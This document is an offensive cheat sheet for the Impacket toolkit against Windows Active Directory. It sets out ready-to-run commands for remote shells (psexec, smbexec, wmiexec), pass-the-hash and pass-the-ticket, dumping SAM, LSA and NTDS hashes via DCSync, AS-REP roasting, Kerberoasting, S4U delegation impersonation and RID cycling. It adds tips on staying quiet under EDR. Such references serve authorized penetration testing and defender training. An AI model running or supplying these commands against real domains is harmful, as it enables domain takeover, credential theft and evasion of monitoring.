impacket — remote exec & credential looting over SMB/Kerberos#
The native AD attack kit: RCE, secret dumping, roasting, and Kerberos ticket
abuse against Windows hosts. Sweep the box first with cheat nxc, crack the
loot with hc-rock / hc-show. t <ip> sets $TARGET.
The one grammar (auth string)#
Every tool shares the same connection string — learn it once. The impacket-*
functions are thin wrappers; the raw .py names are on $PATH too.
impacket-TOOL [DOMAIN/]user[:password]@target [flags]
^domain optional ^omit :pass to be prompted ^host or IP
- password inline —
impacket-psexec CORP/jdoe:'P@ss!'@10.10.10.5— quote shells specials; drop:passand it asks. -hashes LM:NT— pass-the-hash; use-hashes :NTwhen you only hold the NT half (seepth).-k -no-pass— Kerberos: reads the TGT from$KRB5CCNAME; add-dc-ip/-target-ipwhen DNS is broken (seeptt).-no-passalone — null/anonymous session, or when a ticket/AS-REP already carries the auth.
Get a shell — psexec / smbexec / wmiexec#
All three need local admin on the target + SMB(445); pick by how loud you can be.
impacket-wmiexec— runs each command via WMIWin32_Process, output over the admin share. No service, no binary dropped — quietest, your default. Semi-interactive (not a true TTY). Needs DCOM(135).impacket-smbexec— creates a service that pipescmdper command over SMB. No binary uploaded, but a service is made/torn-down each call. Middle ground.impacket-psexec— uploads a service EXE and runs it as SYSTEM; fullest interactive shell but drops a binary and creates a service — screams in EDR. (loud)
impacket-wmiexec CORP/admin:'Pw'@10.10.10.5
impacket-psexec -hashes :aad3b...31d6 Administrator@10.10.10.5 # PtH → SYSTEM
impacket-wmiexec -k -no-pass DC01.corp.local # pass-the-ticket
Loot creds — secretsdump#
impacket-secrets DOMAIN/user:pass@target— remote SAM (local hashes) + LSA secrets + cached domain logons over SMB.-just-dc— DCSync: replicate the entire NTDS.dit (every domain hash) via DRSUAPI. Needs replication rights / DA. (gold, loud on a DC)-just-dc-user Administrator— DCSync a single account (wrapper:dcsync <domain> <user> <pass> [target-user]).-sam SAM -security SECURITY -system SYSTEM LOCAL— offline from dumped registry hives ·-ntds ntds.dit -system SYSTEM LOCAL— offline from a stolen NTDS.dit.- Honours
-hashes :NTand-k, so PtH and PtT work here too.
Roast — getnp / getspn#
impacket-getnp(GetNPUsers.py) — AS-REP roast accounts with pre-auth disabled:DOMAIN/ -usersfile users.txt -no-pass -format hashcat→ crack-m 18200. Wrapperasrep <domain> [dc] [userlist]writesasrep.txt.impacket-getspn(GetUserSPNs.py) — Kerberoast: request a TGS for every SPN account:DOMAIN/user:pass -dc-ip X -request→ crack-m 13100. Add-request-user svcfor one. Wrapperkerberoast <domain> <user> <pass> [dc]writeskerberoast.txt.
Kerberos tickets — gettgt / getst#
impacket-gettgt(getTGT.py) — request a TGT →user.ccache. Overpass-the-hash with-hashes :NTor-aesKey. Thenexport KRB5CCNAME=user.ccacheand go-k -no-passeverywhere.impacket-getst(getST.py) — request a service ticket. S4U delegation abuse:-spn cifs/dc01 -impersonate Administratorfrom a constrained-delegation account impersonates anyone. (gold)
Enumerate — lookupsid#
impacket-lookup(lookupsid.py) — RID-cycle the domain to dump users/groups/computers from the base SID:DOMAIN/user:pass@dc, or-no-passfor a null session. The move when LDAP is locked but SMB still answers.
Shared flags#
| flag | meaning |
|---|---|
-hashes LM:NT |
pass-the-hash (:NT if no LM half) |
-k |
Kerberos auth from the $KRB5CCNAME ccache |
-no-pass |
never prompt — null session, PtT, or AS-REP |
-dc-ip IP |
which domain controller to talk to |
-target-ip IP |
host IP when the name won't resolve |
-aesKey HEX |
Kerberos AES key (overpass-the-hash) |
-just-dc / -just-dc-user U |
secretsdump: DCSync all / one account |
-request / -request-user U |
getspn: pull TGS-REP hashes |
-outputfile F |
write hashes to a file (roasters) |
The
impacket-*wrappers just pass args straight through — they do not auto-fill$TARGET; the higher-levelasrep/kerberoast/dcsyncdo. Reach forwmiexecoverpsexecunless you specifically need a SYSTEM TTY.